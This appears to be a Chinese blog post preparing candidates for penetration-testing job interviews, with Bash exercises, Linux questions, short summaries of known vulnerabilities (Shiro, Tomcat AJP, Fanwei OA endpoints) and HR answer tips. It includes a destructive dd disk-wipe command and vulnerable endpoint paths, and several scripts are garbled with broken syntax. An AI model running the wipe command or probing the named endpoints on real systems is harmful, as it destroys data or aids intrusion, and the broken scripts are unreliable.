24、写一个脚本,实现判断192.168.1.0/24网络里,当前在线的IP有哪些,能ping通则认为在线 ``` > #!/bin/bash for ip in `seq 1 255` do ping -c 1 192.168.1.$ip > /dev/null 2>&1 if [ $? -eq 0 ]; then echo 192.168.1.$ip UP else echo > 192.168.1.$ip DOWN fi }& done wait ``` > > > > ##### 25、写一个脚本,判断一个指定的脚本是否是语法错误;如果有错误,则提醒用户键入Q或 ``` [root@localhost tmp]# cat checksh.sh > > #!/bin/bash > > read -p “please input check script-> ” file > > if [ -f $file ]; then > > sh -n $file > /dev/null 2>&1 > > if [ $? -ne 0 ]; then > > read -p “You input $file syntax error,[Type q to exit or Type vim to > edit]” answer > > case $answer in > > q | Q) > > exit 0 > > ;; > > vim ) > > vim $file > > ;; > > *) > > exit 0 > > ;; > > esac > > fi > > else > > echo “$file not exist” > > exit 1 > > fi ``` > > > > ##### 26、写一个脚本,要求如何: > > > ``` 创建一个函数,能接受两个参数: 1)第一个参数为URL,即可下载的文件;第二个参数为目录,即下载后保存的位置; > 2)如果用户给的目录不存在,则提示用户是否创建;如果创建就继续执行,否则,函数返回一个51的错误值给调用脚本; > 3)如果给的目录存在,则下载文件;下载命令执行结束后测试文件下载成功与否;如果成功,则返回0给调用脚本,否则,返回52给调用脚本; > [root@localhost tmp]# cat downfile.sh > #!/bin/bash url=$1 dir=$2 download() { cd $dir >> /dev/null 2>&1 if [ $? -ne 0 ];then read -p “$dir No such file or directory,create?(y/n)” > answer if [ “$answer” == “y” ];then mkdir -p $dir cd $dir wget $url 1> > /dev/null 2>&1 else return “51” fi fi if [ $? -ne 0 ]; then return > “52” fi } download $url $dir echo $? ``` > > > > ##### 27、写一个脚本,详细需求如下: ``` 1、创建一个函数,可以接受一个磁盘设备路径(如/dev/sdb)作为参数;在真正开始后面步骤之前提醒用户有危险,并让用户选择是否继续;而后将此磁盘设备上的所有分区清空(提示,使用命令dd > if=/dev/zero of=/dev/sdb bs=512 count=1实现,注意其中的设备路径不要写错了; > 如果此步骤失败,返回67给主程序; 接着在此磁盘设备上创建两个主分区,一个大小为100M,一个大小为1G;如果此步骤失败,返回68给主程序; > 格式化此两分区,文件系统类型为ext3;如果此步骤失败,返回69给主程序; 如果上述过程都正常,返回0给主程序; > 2、调用此函数;并通过接收函数执行的返回值来判断其执行情况,并将信息显示出来; local Darray=(`ls > /dev/sd[a-z]`) for i in ${Darray};do [[ “$i” == “$1” ]] && Sd=$i > &&break done > > else > > return66 > > fi > > > > #当匹配成功,进入选择,告诉用户,是否继续,输错的话进入无限循环,当用户选择Y,则???????????????????while????? > > > > while :;do > > read -p “Warning!!!This operation will clean $Sd data.Next=y,Quit=n > [y|n]:” Choice > > case $Choice in > > y) > > dd if=/dev/zero of=$Sd bs=512 count=1 &> /dev/null &&break || return > 67 ;; > > n) > > exit 88 ;; > > *) > > echo “Invalid choice,please choice again.” ;; > > esac > > done > > > > #使用echo传递给fdisk进行分区,如果此命令失败,则跳转出去,错误值68,需要注意的是,有时候这个返回值很诡异,笔者之前成功与否都是返回的1,后来重启之后,就好了,如果慎重的话,可以对创建的分区,进行判断,不过就需要使用其他工具截取相关字段了,虽???????????????????? > > > > echo-e “n\np\n1\n\n+100M\nn\np\n2\n\n+1024M\nw\n”|fdisk /dev/sdb&> > /dev/null || || return 68 > > > > #格式化之前,让内核重新读取磁盘分区表,值得注意的是,有的系统版本,使用partprobe无效,譬如笔者的环境是rhel5.8,而rhel6.0以后,这个命令就很危险了,而使用partx > > -a /dev/sdb则效果更好…此项需慎重,如果格式化失败,则告知把失败的分区定义成变量,且跳出函数,并带出错误值69 > > > > `partprobe` > > Part=`fdisk -l /dev/$Sd|tail -2|cut -d” ” -f1` > > for M in ${Part};do > > mke2fs -j $M &> /dev/null && ErrorPart=$M &&return 69 > > done > > return 0 > > } > > > > #下面代码,调用函数,接收函数返回值,根据返回值进行判断哪里出错。 > > > > Disk_Mod $1 > > Res=$? > > [ $Res-eq 0 ] && exit 0 > > [ $Res-eq 66 ] && echo “Error! Invalid input.” > > [ $Res-eq 67 ] && echo “Error! Command -> dd fdisk mke2fs > > ``` > > ##### 29.如何让history命令显示具体时间? > > HISTTIMEFORMAT=”%Y-%m-%d %H:%M:%S” > > export HISTTIMEFORMAT > > 重新开机后会还原,可以写/etc/profile > ##### 30.都用过哪些linux的常用命令 > > ##### 31.ps跟netstat有什么相同的地方 > > ##### 32.linux系统查询网关命令 > > traceroute、route -n、ip route show > 网关实质上是一个网络通向其他网络的ip地址。比如有网络A和网络B,网络A的ip地址范围为“192.168.1.1~192. 168.1.254”,子网掩码为255.255.255.0;网络B的IP地址范围为“192.168.2.1~192.168.2.254”,子网掩码为255.255.255.0。在没有路由器的情况下,两个网络之间是不能进行TCP/IP通信的,即使是两个网络连接在同一台交换机(或集线器)上,TCP/IP协议也会根据子网掩码(255.255.255.0)判定两个网络中的主机处在不同的网络里。而要实现这两个网络之间的通信,则必须通过网关。如果网络A中的主机发现数据包的目的主机不在本地网络中,就把数据包转发给它自己的网关,再由网关转发给网络B的网关,网络B的网关再转发给网络B的某个主机。 > 所以说,只有设置好网关的IP地址,TCP/IP协议才能实现不同网络之间的相互通信。那么这个IP地址是哪台机器的IP地址呢?网关的IP地址是具有路由功能的设备的IP地址,具有路由功能的设备有路由器、启用了路由协议的服务器(实质上相当于一台路由器)、代理服务器(也相当于一台路由器)。 > ##### 33.Windows系统安全日志存放路径 > > C:\Windows\System32\winevt\Log > > ##### 34.查看Linux内核版本命令 > > > uname -a > > > > > #### 十四、owasp TOP10 漏洞都有哪些将一下最近的漏洞 > ##### owasp TOP10 > > 1、SQL注入防护方法: > 2、失效的身份认证和会话管理 > 3、跨站脚本攻击XSS > 4、直接引用不安全的对象 > 5、安全配置错误 > 6、敏感信息泄露 > 7、缺少功能级的访问控制 > 8、跨站请求伪造CSRF > 9、使用含有已知漏洞的组件 > 10、未验证的重定向和转发 > > ##### 2.Microsoft Exchange .Net反序列化远程代码执行(CVE-2020-0688) > > 该漏洞是由于Exchange控制面板(ECP)组件中使用了静态密钥validationKey和decryptionKey > > ##### 3.Apache Tomcat 文件包含漏洞(CVE-2020-1938) > > 默认情况下,Tomcat会开启AJP连接器, Tomcat在AJP协议的实现上存在漏洞,导致攻击者可以通过发送恶意的请求,可以读取或者包含Web根目录下的任意文件,配合文件上传,将导致任意代码执行(RCE) > > ##### 4.Weblogic IIOP反序列化漏洞(CVE-2020-2551) > > weblogic核心组件中IIOP协议,通过该协议对存在漏洞的WebLogic进行远程代码执行的攻击 > > ##### 5.Apache Solr远程代码执行(CVE-2019-12409) > > 默认配置文件solr.in.sh,在其配置文件中ENABLE_REMOTE_JMX_OPTS字段默认配置不安全.如果使用默认配置,将启用JMX监视服务并将对公网监听18983的RMI端口,无需任何验证,配合JMX > RMI远程代码执行 > > ##### 6.SHIRO-550 反序列化漏洞 > > shiro默认使用了CookieRememberMeManager,其处理cookie的流程是: > 得到rememberMe的cookie值-->Base64解码-->AES解密-->反序列化 > AES的密钥是硬编码在代码里,就导致了反序列化的RCE漏洞 > > ##### 7.SHIRO-721反序列化漏洞 > > 不需要key,利用Padding Oracle Attack构造出RememberMe字段后段的值结合合法的RememberMe cookie即可完成攻击 > > ##### 8.泛微Ecology OA SQL注入漏洞 > > validate.jsp接口的SQL注入,/cpt/manage/validate.jsp > > ##### 9.泛微ecology OA系统接口存在数据库配置信息泄露 > > /mobile/dbconfigreader.jsp,直接访问该页面将为DES加密以后的乱码,使用DES算法结合硬编码的key进行解密 > > ##### 10.Confluence本地文件泄露漏洞(CVE-2019-3394) > > catalina.jar中的org.apache.catalina.webresources.StandardRoot.class的getResource方法的validate存在过滤和限制,所以可遍历路径均在/WEB-INF下 > > #### 11.Apache Dubbo反序列化漏洞(CVE-2019-17564) > > 当HTTP remoting 开启的时候,存在反序列化漏洞 > > > ## 0x03 HR 或者 leader的暴击 > ### 一、HR面 注意!HR面试的时候会有非常多的坑,熟悉我在这里写的问题,回答的时候情商高一点,不要跟HR吵起来,也不要有不合时宜的意见分歧,这个度的把控最好自己能让同学、朋友担任面试官,让他们多多挑你的刺,从而不断练习自己的反应能力。技术面试通过的,在HR这边通不过的例子是有很多的! > > ### 二、问题 > > #### 1、对我们公司有什么了解,为什么选择本公司 在信息安全行业比较知名,了解过公司的xx产品。(每次面试某个公司,都要花5-10分钟了解该公司的产品) > > #### 2、 为什么想要应聘这个职位 从我的经历上可以很清楚地看到我对网络安全的浓厚兴趣,我认为对本职工作有兴趣的人才能更好地完成这个工作。另外也有一句话说得很棒,“你之所以看不见黑暗,是因为有人拼命把它挡在你看不到的地方”,我认为做信息安全的尤其是渗透测试,就是为了更好地保护用户的安全,防患于未然,也是我想要应聘这个岗位的理由。(不要照背,体现自己的热爱和专业能力) > > #### 3、 对安全服务是怎么理解的 安全服务对象是人, 渗透测试对象是网站。(我的理解) > - 安全概念和资讯 > - 安全工具使用 > - 渗透测试 > - 安全基线检查 > - 应急响应 > - 代码审计 > - 安全边界建设 > - 安全规范 > > #### 4、如果我不知道渗透测试,两分钟说一下 (此处自行组织语言,力求能将渗透测试讲得浅显易懂,时间控制在三分钟以内) > > #### 5、如果我是一个汽车厂商,你如何证明你的工作是有意义的? (对于不懂得安全的人来说,怎么能说服他需要进行渗透测试,渗透测试有什么作用) > > #### 6、作为应届生,你如何能胜任该职位 正如前方所说,我学习能力很强,主观能动性强,能很快地做好下派的任务,所以我认为我能很好地胜任这个职位 > > #### 7、你有什么职业规划 发展方向 渗透测试工程师->渗透测试项目负责人->安全架构师(安全咨询顾问) > > #### 8、如果离职的话是因为什么原因 个人规划和公司有冲突,缺少上升空间。(就算是因为钱少、和同事 <del>打架</del> 不和,也不要明说……) > > #### 9、你有什么优缺点 > - 优点:对网络安全十分热爱,抗压能力强,学习能力强,责任感强 > - 缺点:遇到技术难点时可能会一直钻研,可能会耽搁到其它事情 (情商高一点,不要真的说自己的缺点) > > #### 10、对于薪资的要求 月薪20-25K,可以接受2k的浮动 > > #### 11、给不了这么多工资可以接受吗?为什么想要这个数? > 1. 贵公司和我其实比较契合,我可以接受月薪1k左右的浮动。(表明自己的接受范围和立场) > 2. 可能我某些方面表现得不够好或者表达不清晰,让您觉得我的能力不够。您可以根据这些点再问我几个问题。(表明自己对自身的判断,认为自己值得这个数,委婉提示面试官可能判断有误) > 3. 通过贵司的招聘信息和整个市场平均水平看,我认为我岗位匹配度比较好,值得这个工资水平。(明确回答,要有自信) (这个问题千万不要顶嘴或拍桌走人,可参考我的知乎回答 面试想拿 10K,HR 说你只值 7K,该怎样回答或者反驳? - 李与归的回答 - > 知乎 https://www.zhihu.com/question/282880854/answer/432987673 ) > > #### 12、进入部门后,你需要多长时间进入项目? (表达自己的快速学习能力) > > #### 13、上一个面试的人能力跟你差不多,但是工资方面比你要的低? (表达综合素质方面,比如沟通能力好、领导能力好、文档能力好等等) > > #### 14、是否可以接受加班 加班肯定是不可避免的,我可以接受项目需求的加班,毕竟完成工作是员工所要尽到的责任。同时我也会提高自己的工作效率,配合完成工作。(同样的,情商高一点,口头说要加班,入职之后要不要加班不就是……:>) > > #### 15、(沟通能力)和领导、同事产生分歧会怎么办 出现分歧是十分正常的事情,产生分歧很有可能是双方理解不一样,如何有效沟通、相互理解才是重中之重。在我看来还是会以大局出发,以有益于公司和客户的方向出发。 > > #### 16、工作一段时间后,发现工作不是想象中的,会怎么办/对跳槽的看法 我在找工作之前,都会了解好这份工作的具体职责,如果我工作一段时间后发现工作不是想象中的,那只能说明我的职业目标不够清晰。(圆滑点) > > ### 17、对上司有什么要求?喜欢和什么样的领导合作? 我来求职都是为了能找到一个希望能提升自己的平台,我希望更能找到一个技术经验丰富的领导。 > > #### 18、最有影响的一件事/人 (最好是在安全领域方面的,说上一些黑客事件,表明自己热爱安全领域) > > ### 19、你还要问什么问题 > - 有没有岗位晋升机制,入职培训项目,员工培训提升项目?考证有没有报销? > - 五险一金、社保比例、饭补、餐补、交通补助? > - 应聘岗位具体职责和工作内容?会不会经常出差? > - 试用期多久?薪水多少? > > ### 20、如果问到不会的问题? > - 这方面侧重点不够,以后会在工作生活中加强学习。委婉的说这东西我不会 > > ### 21、你为什么离职? > > ### 22、你怎么评价你之前的部门,公司 > > ### 23、你平时喜欢干什么 > > ## 0x04总结 参考: https://www.t00ls.net/viewthread.php?tid=38472&highlight=%E9%9D%A2%E8%AF%95 > https://github.com/Leezj9671/Pentest_Interview > https://github.com/zhaoweiho/web-sec-interview/blob/master/README_CN.md
上一篇:
Burp Pro2020最新汉化工具
下一篇:
你上网的时候不经意间使用被动扫描(xray)挖洞(一)
0
赞
943 人读过
新浪微博
微信
腾讯微博
QQ空间
人人网
提交评论
立即登录
, 发表评论.
没有帐号?
立即注册
0
条评论
More...
文档导航
没有帐号? 立即注册